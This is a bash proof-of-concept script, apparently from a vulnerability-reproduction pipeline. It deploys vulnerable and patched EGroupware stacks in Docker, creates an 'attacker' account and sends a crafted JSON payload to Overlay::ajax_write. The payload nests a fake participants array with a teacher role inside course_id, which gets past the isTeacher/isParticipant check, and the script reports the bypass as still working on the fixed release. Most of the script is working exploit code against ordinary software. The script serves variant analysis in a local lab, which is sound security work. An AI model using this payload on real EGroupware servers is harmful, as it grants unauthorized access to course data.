#!/bin/bash
###############################################################################
# GHSA-h9qx-v5xp-ph8p — VARIANT / BYPASS analysis
#
# Root cause of the original RCE chain: Bo::isParticipant() trusts a
# request-supplied "participants" array to cache the caller's ACL role.
# The official fix (tag 26.2.20260224) hardened ONLY the SmallPartMediaRecorder
# ::ajax_upload() caller by casting course_id to (int) and by adding basename()
# guards in Bo::videoPath().  It did NOT change isParticipant() itself.
#
# This script proves that the isParticipant() authz-bypass primitive STILL
# works on the FIXED version (26.2.20260224) via a different entry point:
#   - Overlay::ajax_write  → Overlay::aclCheck($data['course_id'], true)
#       calls Bo::getInstance()->isParticipant($course_id) / isTeacher($course_id)
#       with the raw request parameter (no (int) cast).
#
# Observable proof:
#   * Control  (plain int course_id, non-teacher user)  → "Permission denied!"
#     (aclCheck correctly denies the non-teacher).
#   * Bypass   (course_id as a PHP array with participants[].participant_role=3)
#     → NOT "Permission denied!"; instead the request proceeds PAST aclCheck and
#     fails later at Overlay::write()'s pre-existing is_int/is_numeric type
#     guard with "Invalid argument".  The different error proves the
#     isTeacher()/isParticipant() check was BYPASSED on the fixed image.
#
# The script tests BOTH the vulnerable (26.2.20260216) and fixed
# (26.2.20260224) images side-by-side.
#
# Exit 0 = authz-bypass variant reproduced on the FIXED version (true bypass).
# Exit 1 = variant only works on vulnerable, or not reproduced.
###############################################################################
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VV="$ROOT/vuln_variant"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$VV" "$ART"
exec > >(tee -a "$LOGS/vuln_variant_reproduction.log") 2>&1
cd "$ROOT"

VULN_TAG="26.2.20260216"
FIXED_TAG="26.2.20260224"
DB_PW="egwrootpw"
ATTK_PW="AttackerPass123"
ATTK_USER="attacker"
# Use % for grant host — Docker networks in this environment use 192.168.x.x,
# not 172.x.x.x.  Using % ensures the egroupware DB user can connect regardless.
DB_GRANT_HOST="%"
DB_PASS="egwpass123"

log(){ echo "[+] $*"; }
die(){ echo "[!] FATAL: $*" >&2; exit 1; }

AJAX_WRITE="EGroupware%5CSmallParT%5COverlay::ajax_write"

##############################################################################
# Deployment helpers
##############################################################################
pull_images(){
  log "Ensuring docker images are present..."
  for img in "egroupware/egroupware:$VULN_TAG" "egroupware/egroupware:$FIXED_TAG" "mariadb:11.8" "nginx:stable-alpine" "alpine:latest"; do
    sudo docker image inspect "$img" >/dev/null 2>&1 || sudo docker pull "$img" >/dev/null 2>&1 || die "pull failed: $img"
  done
}

write_nginx_conf(){
  local upstream="$1" vol="$2"
  sudo docker volume create "$vol" >/dev/null 2>&1 || true
  cat > "$ART/nginx_${vol}.conf" <<NGINX
client_max_body_size 1g;
fastcgi_buffers 16 16k;
fastcgi_buffer_size 32k;
upstream fpm { server ${upstream}:9000; }
server {
    access_log off;
    listen 80 default_server;
    server_name _;
    root /usr/share/egroupware;
    index index.php;
    client_max_body_size 65M;
    location ^~ /egroupware {
        alias /usr/share/egroupware/;
        try_files \$uri \$uri/ =404;
        location ~ ^/egroupware(/(?U).+\\.php) {
            location ~ ^/egroupware/(vendor|[^/]+/(src|setup|inc|vendor))/ { return 404; }
            alias /usr/share/egroupware;
            fastcgi_pass fpm;
            fastcgi_read_timeout 60m;
            fastcgi_index index.php;
            fastcgi_split_path_info ^((?U).+\\.php)(.*)\$;
            fastcgi_param PATH_INFO \$fastcgi_path_info;
            fastcgi_param PATH_TRANSLATED \$document_root\$fastcgi_path_info;
            include fastcgi_params;
            fastcgi_param SCRIPT_FILENAME /usr/share/egroupware\$1;
            fastcgi_param DOCUMENT_ROOT /usr/share/egroupware;
        }
        location ~ (?i)\\.(ico|jpe?g|gif|png|svg|xet|xml|js|css|html|map|swf)\$ {
            access_log off; expires 10d;
            location ~ ^/egroupware(/.*)\$ { alias /usr/share/egroupware/; try_files \$1 =404; }
        }
    }
}
NGINX
  sudo docker run --rm -i -v "${vol}:/conf" alpine sh -c 'cat > /conf/default.conf' < "$ART/nginx_${vol}.conf"
}

wait_egw_ready(){
  local egw="$1" attempt
  for attempt in 1 2; do
    log "Waiting for $egw install to finish (attempt $attempt)..."
    for i in $(seq 1 90); do
      if sudo docker exec "$egw" pgrep -f "php-fpm: master" >/dev/null 2>&1 \
         && sudo docker exec "$egw" test -f /var/lib/egroupware/header.inc.php 2>/dev/null; then
        log "$egw ready after ${i}x5s (attempt $attempt)"; return 0
      fi
      sleep 5
    done
    log "$egw not ready; restarting it to retry install..."
    sudo docker restart "$egw" >/dev/null
  done
  die "timeout waiting for $egw"
}

# deploy_stack net suf db_vol src_vol data_vol nginx_vol tag
deploy_stack(){
  local net="$1" suf="$2" db_vol="$3" src_vol="$4" data_vol="$5" nginx_vol="$6" tag="$7"
  local db="egw_db_$suf" egw="egroupware_$suf" ngx="egw_nginx_$suf"
  sudo docker network create "$net" >/dev/null 2>&1 || true
  sudo docker rm -f "$db" "$egw" "$ngx" >/dev/null 2>&1 || true
  sudo docker volume rm -f "$db_vol" "$src_vol" "$data_vol" >/dev/null 2>&1 || true
  log "Starting $db (tag $tag)"
  sudo docker run -d --name "$db" --network "$net" \
    -e MYSQL_ROOT_PASSWORD="$DB_PW" -e MARIADB_AUTO_UPGRADE=true \
    -v "${db_vol}:/var/lib/mysql" \
    --health-cmd="healthcheck.sh --connect --innodb_initialized" --health-interval=5s --health-timeout=5s --health-retries=80 \
    mariadb:11.8 >/dev/null
  log "Waiting for $db to be healthy..."
  for i in $(seq 1 90); do
    [ "$(sudo docker inspect "$db" --format '{{.State.Health.Status}}' 2>/dev/null)" = "healthy" ] && break
    sleep 5
  done
  log "Starting $egw / $ngx"
  sudo docker run -d --name "$egw" --network "$net" \
    -e EGW_DB_HOST="$db" -e EGW_DB_GRANT_HOST="$DB_GRANT_HOST" -e EGW_DB_ROOT=root -e EGW_DB_ROOT_PW="$DB_PW" \
    -e EGW_DB_NAME=egroupware -e EGW_DB_USER=egroupware -e EGW_DB_PASS="$DB_PASS" \
    -v "${src_vol}:/usr/share/egroupware" -v "${data_vol}:/var/lib/egroupware" \
    "egroupware/egroupware:$tag" >/dev/null
  sudo docker run -d --name "$ngx" --network "$net" \
    -v "${src_vol}:/usr/share/egroupware:ro" -v "${nginx_vol}:/etc/nginx/conf.d:ro" \
    nginx:stable-alpine >/dev/null
  wait_egw_ready "$egw"
}

create_attacker(){
  local egw="$1" db="$2" hash default_gid attacker_id
  hash=$(sudo docker exec "$egw" php -r 'echo "{crypt}".password_hash("'$ATTK_PW'", PASSWORD_BCRYPT);')
  default_gid=$(sudo docker exec "$db" mariadb -uroot -p"$DB_PW" egroupware -sN \
    -e "SELECT account_id FROM egw_accounts WHERE account_lid='Default' AND account_type='g'" 2>/dev/null)
  [ -z "$default_gid" ] && default_gid=1
  sudo docker exec "$db" mariadb -uroot -p"$DB_PW" egroupware \
    -e "INSERT INTO egw_accounts (account_lid,account_pwd,account_status,account_type,account_primary_group,account_expires) VALUES ('$ATTK_USER','$hash','A','u',$default_gid,-1);" 2>/dev/null
  attacker_id=$(sudo docker exec "$db" mariadb -uroot -p"$DB_PW" egroupware -sN \
    -e "SELECT account_id FROM egw_accounts WHERE account_lid='$ATTK_USER'" 2>/dev/null)
  sudo docker exec "$db" mariadb -uroot -p"$DB_PW" egroupware \
    -e "INSERT INTO egw_acl (acl_appname,acl_location,acl_account,acl_rights) VALUES ('phpgw_group','$default_gid','$attacker_id',1);" 2>/dev/null || true
  sudo docker exec "$db" mariadb -uroot -p"$DB_PW" egroupware \
    -e "INSERT INTO egw_acl (acl_appname,acl_location,acl_account,acl_rights) VALUES ('smallpart','run','$attacker_id',1);" 2>/dev/null || true
  echo "$attacker_id"
}

attacker_login(){
  local egw="$1" ngx="$2" suf="$3"
  local jar="/tmp/ck_${suf}.txt"
  sudo docker exec "$egw" rm -f "$jar"
  sudo docker exec "$egw" curl -s -c "$jar" -o /dev/null \
    -X POST "http://$ngx/egroupware/login.php?" \
    --data-urlencode "login=$ATTK_USER" --data-urlencode "passwd=$ATTK_PW" \
    --data-urlencode "passwd_type=text" --data-urlencode "account_type=u" \
    --data-urlencode "logindomain=default" --data-urlencode "submitit=Login" 2>/dev/null
  sudo docker exec "$egw" grep -q "sessionid" "$jar" 2>/dev/null && log "attacker logged in on $egw" || die "attacker login failed on $egw"
}

# send_json_request egw ngx suf menuaction json_body
send_json_request(){
  local egw="$1" ngx="$2" suf="$3" menuaction="$4" body="$5"
  local jar="/tmp/ck_${suf}.txt"
  local url="http://$ngx/egroupware/json.php?menuaction=$menuaction"
  printf '%s' "$body" | sudo docker exec -i "$egw" bash -c 'cat > /tmp/req_body.json'
  sudo docker exec -e JAR="$jar" -e URL="$url" "$egw" \
    bash -c 'curl -s -m 25 -b "$JAR" -H "Content-Type: application/json" -d @/tmp/req_body.json "$URL"'
}

##############################################################################
# Variant test: Overlay::ajax_write authz bypass
##############################################################################
# test_variant egw ngx suf aid tag
test_variant(){
  local egw="$1" ngx="$2" suf="$3" aid="$4" tag="$5"

  # --- Control: plain int course_id (no bypass) → expect Permission denied ---
  local ctrl_body='{"request":{"parameters":[{"course_id":1,"video_id":1,"overlay_type":"smallpart-text","overlay_start":0,"overlay_data":"{}"}]}}'
  local ctrl_resp
  ctrl_resp=$(send_json_request "$egw" "$ngx" "$suf" "$AJAX_WRITE" "$ctrl_body")
  echo "$ctrl_resp" | tee "$LOGS/${suf}_overlay_write_control.json"
  local ctrl_denied=0
  echo "$ctrl_resp" | grep -qi 'Permission denied\|NoPermission' && ctrl_denied=1 || true
  log "[$tag] control (int course_id): denied=$ctrl_denied"

  # --- Bypass: array course_id + participants → expect NOT Permission denied ---
  local bypass_body
  bypass_body=$(printf '{"request":{"parameters":[{"course_id":{"participants":[{"account_id":%s,"name":"Test","joined_at":"2026-01-10","participant_role":3}],"account_id":"%s","course_id":"1"},"video_id":1,"overlay_type":"smallpart-text","overlay_start":0,"overlay_data":"{}"}]}}' "$aid" "$aid")
  local bypass_resp
  bypass_resp=$(send_json_request "$egw" "$ngx" "$suf" "$AJAX_WRITE" "$bypass_body")
  echo "$bypass_resp" | tee "$LOGS/${suf}_overlay_write_bypass.json"
  local bypass_denied=0 bypass_past_acl=0
  echo "$bypass_resp" | grep -qi 'Permission denied\|NoPermission' && bypass_denied=1 || true
  # "Invalid argument" from Overlay::write() proves aclCheck PASSED
  echo "$bypass_resp" | grep -qi 'Invalid argument\|InvalidArgumentException' && bypass_past_acl=1 || true
  log "[$tag] bypass (array course_id): denied=$bypass_denied past_acl=$bypass_past_acl"

  # authz_bypass = the aclCheck isTeacher check was bypassed (response is NOT Permission denied)
  local authz_bypass=0
  if [ "$bypass_denied" = "0" ]; then authz_bypass=1; fi

  echo "$tag authz_bypass=$authz_bypass ctrl_denied=$ctrl_denied bypass_denied=$bypass_denied bypass_past_acl=$bypass_past_acl" \
    | tee "$LOGS/${suf}_variant_summary.txt"
  echo "$authz_bypass" > "$LOGS/${suf}_authz_bypass.txt"
  echo "$ctrl_denied" > "$LOGS/${suf}_ctrl_denied.txt"
  echo "$bypass_past_acl" > "$LOGS/${suf}_bypass_past_acl.txt"
}

##############################################################################
# Main
##############################################################################
pull_images

echo "=========================================================="
echo "GHSA-h9qx-v5xp-ph8p variant/bypass analysis @ $(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo "=========================================================="

# ---- VULNERABLE stack ----
log "### VULNERABLE stack ($VULN_TAG) ###"
write_nginx_conf "egroupware_vuln" "egw_nginx_conf_vv"
deploy_stack "egwnetvv" "vuln" "egw_db_vv" "egw_src_vv" "egw_data_vv" "egw_nginx_conf_vv" "$VULN_TAG"
AID_V=$(create_attacker "egroupware_vuln" "egw_db_vuln"); log "vuln attacker_id=$AID_V"
attacker_login "egroupware_vuln" "egw_nginx_vuln" "vuln"
test_variant "egroupware_vuln" "egw_nginx_vuln" "vuln" "$AID_V" "$VULN_TAG"
VULN_AUTHZ_BYPASS=$(cat "$LOGS/vuln_authz_bypass.txt")
VULN_CTRL_DENIED=$(cat "$LOGS/vuln_ctrl_denied.txt")
VULN_PAST_ACL=$(cat "$LOGS/vuln_bypass_past_acl.txt")

# ---- FIXED stack ----
log "### FIXED stack ($FIXED_TAG) ###"
write_nginx_conf "egroupware_fixed" "egw_nginx_conf_vv_fixed"
deploy_stack "egwnetvv2" "fixed" "egw_db_vv_fixed" "egw_src_vv_fixed" "egw_data_vv_fixed" "egw_nginx_conf_vv_fixed" "$FIXED_TAG"
AID_F=$(create_attacker "egroupware_fixed" "egw_db_fixed"); log "fixed attacker_id=$AID_F"
attacker_login "egroupware_fixed" "egw_nginx_fixed" "fixed"
test_variant "egroupware_fixed" "egw_nginx_fixed" "fixed" "$AID_F" "$FIXED_TAG"
FIXED_AUTHZ_BYPASS=$(cat "$LOGS/fixed_authz_bypass.txt")
FIXED_CTRL_DENIED=$(cat "$LOGS/fixed_ctrl_denied.txt")
FIXED_PAST_ACL=$(cat "$LOGS/fixed_bypass_past_acl.txt")

# ---- Record source identity ----
sudo docker inspect "egroupware/egroupware:$FIXED_TAG" --format '{{index .Config.Labels "org.opencontainers.image.revision"}}' 2>/dev/null \
  > "$LOGS/vuln_variant/fixed_image_revision.txt" || echo "unknown" > "$LOGS/vuln_variant/fixed_image_revision.txt"
( cd /data/pruva/project-cache/3c44b823-350e-4e7d-811b-2f1dd2c202a4/repo/smallpart 2>/dev/null \
  && git rev-list -1 "$FIXED_TAG" 2>/dev/null ) > "$LOGS/vuln_variant/fixed_smallpart_commit.txt" || echo "unknown" > "$LOGS/vuln_variant/fixed_smallpart_commit.txt"

# ---- VERDICT ----
log "==================== VERDICT ===================="
log "vuln  authz_bypass=$VULN_AUTHZ_BYPASS  ctrl_denied=$VULN_CTRL_DENIED  past_acl=$VULN_PAST_ACL"
log "fixed authz_bypass=$FIXED_AUTHZ_BYPASS  ctrl_denied=$FIXED_CTRL_DENIED  past_acl=$FIXED_PAST_ACL"
log "================================================"

# Write runtime manifest
python3 - "$VV/runtime_manifest.json" "$VULN_AUTHZ_BYPASS" "$FIXED_AUTHZ_BYPASS" "$FIXED_CTRL_DENIED" "$FIXED_PAST_ACL" <<'PY'
import json, sys
mf, vab, fab, fcd, fpa = sys.argv[1:6]
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /egroupware/json.php?menuaction=EGroupware\\SmallParT\\Overlay::ajax_write (JSON body) over nginx->php-fpm; isParticipant()/isTeacher() authz bypass via request-supplied participants[] array in course_id",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": [
    "mariadb:11.8",
    "egroupware/egroupware:26.2.20260216 (vulnerable) + 26.2.20260224 (fixed)",
    "nginx:stable-alpine",
    "EGroupware smallpart app (Overlay::ajax_write → Overlay::aclCheck → Bo::isParticipant/isTeacher)"
  ],
  "proof_artifacts": [
    "logs/vuln_variant_reproduction.log",
    "logs/vuln_overlay_write_control.json",
    "logs/vuln_overlay_write_bypass.json",
    "logs/fixed_overlay_write_control.json",
    "logs/fixed_overlay_write_bypass.json",
    "logs/vuln_variant_summary.txt",
    "logs/fixed_variant_summary.txt"
  ],
  "notes": "vuln_authz_bypass=%s fixed_authz_bypass=%s fixed_ctrl_denied=%s fixed_past_acl=%s" % (vab, fab, fcd, fpa)
}
open(mf, "w").write(json.dumps(manifest, indent=2))
PY

if [ "$FIXED_AUTHZ_BYPASS" = "1" ] && [ "$FIXED_CTRL_DENIED" = "1" ]; then
  log "RESULT: VARIANT CONFIRMED — isParticipant() authz bypass still works on the FIXED version ($FIXED_TAG) via Overlay::ajax_write."
  exit 0
fi
log "RESULT: variant NOT reproduced on fixed version."
exit 1
